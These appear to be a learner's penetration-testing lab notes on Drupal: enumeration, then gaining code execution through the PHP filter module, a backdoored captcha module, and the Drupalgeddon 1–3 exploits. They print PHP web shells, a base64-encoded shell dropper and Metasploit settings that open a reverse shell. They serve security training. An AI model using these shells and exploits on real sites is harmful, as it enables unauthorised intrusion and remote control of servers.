5. Drupal

Drupal discovery and enumeration

Most of the same shit from wordpress and joomla apply here.

Written in PHP + supports mysql/psql for backend. SqLite possible if no dbms installed. Allows themes+modules like WP Nearly 43,000 modules +2900 themes

CMS are often juicy targets.

Drupal site can be identified several ways including header/footer message Powered by Drupal

Drupal indexes content via nodes. Nodes can hold anything (blogpost, poll, article etc) i.e. first blog post found at /node/1

Not every drupal site will look the same or display login page or even allow users to access login from pub. internet btw.

Three user types: Admin, auth user, anonymous.


Once you've discovered a drupal instance:

curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""

Scanning with droopescan (as seen in Joomla section) can be helpful - it actually has more functionality for Drupal than joomla

droopescan scan drupal -u http://drupal.inlanefreight.local

Attacking Drupal

Confirmed presence of drupal + version fingerprint - Now lets look at misconfigurations and vulnerabilities

Obtaining shell on drupal via admin console is not as easy as editing a php file / uploading malicious php script

Leveraging PHP filter module

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

md5 hashed parameter to avoid 'leaving the door open' to an attacker ![](/img/Pasted image 20250113225129.png)

V8 onward: Install it ourselves.

wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Since we're changing + adding s/t to a client drupal instance we want to check with them first on an assessment. Administration -> Reports -> Available updates (Loc. may differ based on drupal may be under extend menu) http://drupal.inlanefreight.local/admin/reports/updates/install

Remove / clean it up after we created it in an assessment.


Uploading a backdoored module Users can upload new modules. Backdoored module can be created by adding a shell to an existing module. Modules can be found on drupal.org site

Example: https://www.drupal.org/project/captcha https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz

Download, and extract:

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz

PHP shell within contents:

<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

Create .htaccess to give ourselves access to the folder. NECESSARY because drupal denies direct access to /modules

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

Above apply rules for / folder when we request a file in /modules Copy both of these files to the captcha folder and create an archive.

stejwes@htb[/htb]$ mv shell.php .htaccess captcha
stejwes@htb[/htb]$ tar cvf captcha.tar.gz captcha/

captcha/
captcha/.travis.yml
captcha/README.md
captcha/captcha.api.php
captcha/captcha.inc
captcha/captcha.info.yml
captcha/captcha.install

<SNIP>

Assuming admin access click manage and extend on sidebar. From there, install new module.

Browse to /modules/captcha/shell.php for code execution using our command parameter.


Known vulns: https://www.drupal.org/SA-CORE-2014-005

https://www.drupal.org/sa-core-2018-002

https://cvedetails.com/cve/CVE-2018-7602/


Drupalgeddon 1 https://www.exploit-db.com/exploits/34992 Metasploit: https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/

Drupalgeddon 2 https://www.exploit-db.com/exploits/44448

curl -s http://drupal-dev.inlanefreight.local/hello.txt

;-)

modify script to gain RCE by uploading a malicious PHP file

echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64

Replace echo in exploit script with cmd to write our malicious php script

 echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php

Drupalgeddon 3 https://github.com/rithchard/Drupalgeddon3 https://www.drupal.org/sa-core-2018-004

Requires user to have ability to delete a node. First requires you to login and obtain a valid session cookie. Once we have the session cookie, we can set up the exploit module as follows.

msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15
msf6 exploit(multi/http/drupal_drupageddon3) > show options 

Pops a rev shell